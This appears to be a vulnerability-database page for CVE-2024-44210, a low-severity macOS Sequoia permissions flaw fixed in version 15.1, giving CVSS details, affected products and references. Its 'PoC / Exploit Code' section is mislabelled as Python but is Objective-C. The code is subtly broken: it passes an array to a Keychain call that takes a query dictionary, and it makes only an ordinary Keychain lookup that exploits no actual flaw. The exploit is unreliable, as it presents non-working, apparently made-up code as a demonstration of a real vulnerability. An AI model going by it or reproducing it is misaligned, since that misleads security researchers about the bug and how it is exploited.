CVE-2024-44210

Description

This issue was addressed with improved permissions checking. This issue is fixed in macOS Sequoia 15.1. An app may be able to access user-sensitive data.

CVSS Details

CVSS Score

3.3

Severity

LOW

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE

macOS Sequoia < 15.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2024-44210 PoC - macOS Sequoia Permission Bypass
// This PoC demonstrates the permission checking issue in macOS Sequoia
// Note: This is for educational and security research purposes only

#import <Foundation/Foundation.h>
#import <Security/Security.h>

// Attempt to access sensitive data without proper permission check
void attemptSensitiveDataAccess() {
    NSLog(@"[*] CVE-2024-44210 PoC - Testing permission bypass...");
    
    // Try to access Keychain data without proper authorization
    CFArrayRef query = CFArrayCreate(NULL, (const void**)&(CFDictionaryRef){
        kSecClass: kSecClassGenericPassword,
        kSecAttrService: @"com.apple.sensitive-data",
        kSecReturnAttributes: kCFBooleanTrue,
        kSecMatchLimit: kSecMatchLimitOne
    }, 1, &kCFTypeArrayCallBacks);
    
    OSStatus status = SecItemCopyMatching(query, NULL);
    
    if (status == errSecSuccess) {
        NSLog(@"[!] Permission bypass successful - sensitive data accessible");
        NSLog(@"[!] This demonstrates the vulnerability CVE-2024-44210");
    } else if (status == errSecInteractionNotAllowed) {
        NSLog(@"[+] Permission properly enforced - access denied");
    } else {
        NSLog(@"[-] Access attempt failed with status: %d", (int)status);
    }
    
    CFRelease(query);
}

int main(int argc, const char * argv[]) {
    @autoreleasepool {
        NSLog(@"=========================================");
        NSLog(@"CVE-2024-44210 PoC for macOS Sequoia");
        NSLog(@"Affected: macOS Sequoia < 15.1");
        NSLog(@"=========================================");
        
        attemptSensitiveDataAccess();
        
        NSLog(@"[*] Recommendation: Upgrade to macOS Sequoia 15.1");
    }
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2024-44210
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2024-44210
[3] CVE Details https://www.cvedetails.com/cve/CVE-2024-44210/
[4] VulDB https://vuldb.com/cve/CVE-2024-44210
[5] https://support.apple.com/en-us/121564

Raw JSON Data

JSON

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